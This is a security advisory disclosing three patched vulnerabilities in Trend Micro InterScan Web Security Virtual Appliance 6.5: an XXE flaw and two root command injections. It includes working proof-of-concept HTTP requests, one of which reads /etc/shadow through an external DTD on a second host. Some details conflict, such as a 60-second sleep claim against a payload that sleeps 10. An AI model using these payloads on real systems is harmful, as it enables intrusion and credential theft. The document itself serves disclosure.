Vulnerabilities Summary
The following advisory describes three (3) vulnerabilities found in Trend Micro Interscan Web Security Virtual Appliance version 6.5.
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The vulnerabilities found in Trend Micro Interscan Web Security Virtual Appliance:
- XML External Entity (XXE) that lead to arbitrary file disclosure
- Local Privilege Escalation
- Remote code execution
Credit
An independent security researcher has reported this vulnerability to Beyond Security’s SecuriTeam Secure Disclosure program.
Vendor response
Trend Micro has released patches to address these vulnerabilities and issued the following advisory: https://success.trendmicro.com/solution/1117412
Vulnerabilities Details
XML External Entity (XXE) that lead to arbitrary file disclosure
Trend Micro Security Manager uses an outdated REST API (resteasy-jaxrs-2.3.5.Final.jar). The library suffers from an XXE vulnerability that can be exploited using Parameter Entities.
Proof of Concept
By sending the following POST request, an attacker can gain the victims “/etc/shadow”
POST /rest/authentication/login/sso HTTP/1.1 Host: 192.168.18.129:4119 Content-Type: application/xml Content-Length: 360 <?xml version="1.0" encoding="utf-8"?> <!DOCTYPE roottag [ <!ENTITY % start "<![CDATA["> <!ENTITY % goodies SYSTEM "file:///etc/shadow"> <!ENTITY % end "]]>"> <!ENTITY % dtd SYSTEM "http://192.168.18.130/combine.dtd"> %dtd; ]> <dsCredentials> <password>P@ssw0rd</password> <tenantName></tenantName> <userName>&all;</userName> </dsCredentials>
Local Privilege Escalation
Admin users have access via the web interface to the SSH configuration settings. The port settings are not properly handled and allow injecting shell commands as the root user.
POST /SSHConfig.jsp HTTP/1.1 Host: 192.168.254.176:8443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://192.168.254.176:8443/SSHConfig.jsp Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 150 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt atus=enable&SSHPort=22&op=save&cbSSHStatus=enable&btSSHPort=221
In the above code, the SSHPort= parameter does not sanitize the incoming data. An attacker can use this to inject commands that will run as root on the victim’s machine.
Proof of Concept
The following POST request will call the sleep command with a value of 60 seconds:
POST /SSHConfig.jsp HTTP/1.1 Host: 192.168.254.176:8443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://192.168.254.176:8443/SSHConfig.jsp Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 150 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&needSSHConfigure=yes&SSHSt atus=enable&SSHPort=%60sleep%2010%60&op=save&cbSSHStatus=enable&btSSHPort=221
Remote code execution
Trend Micro Interscan Web Security Virtual Appliance has a default user with sudo privileges named iscan. This user is locked out but it can access certain elevated functions.
POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1 Host: 192.168.254.176:8443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 259 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=& oldport=&netid=192.168.1.0&netmask=255.255.255.0&router=192.168.1.1&interface_vlanid_sel=eth1
In the above POST request, we can see the page has several parameters that are vulnerable and that we can inject malicious parameters through them: netid, netmask, router, and interface_vlanid_sel
Proof of Concept
POST /servlet/com.trend.iwss.gui.servlet.ManageSRouteSettings?action=add HTTP/1.1 Host: 192.168.254.176:8443 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:45.0) Gecko/20100101 Firefox/45.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: https://192.168.254.176:8443/staticRouteEdit.jsp?action=add Cookie: JSESSIONID=2930898FD09512142C1B26C71D24466D Connection: close Content-Type: application/x-www-form-urlencoded Content-Length: 259 CSRFGuardToken=67CI42CKYSW7R9JYWXEPN2MN2J9K8E5E&op=sroutemanage&fromurl=%2 FstaticRoutes.jsp&failoverurl=%2FstaticRouteEdit.jsp&port=&oldnetid=&oldrouter=&oldnetmask=& oldport=&netid=192.168.1.0%7c%7c%60ping%20- c%2021%20127.0.0.1%60%20%23'%7c%7c%60ping%20- c%2021%20127.0.0.1%60%20%23%5c%22%20&netmask=255.255.255.0&router=192.168.1.1&inte rface_vlanid_sel=eth1
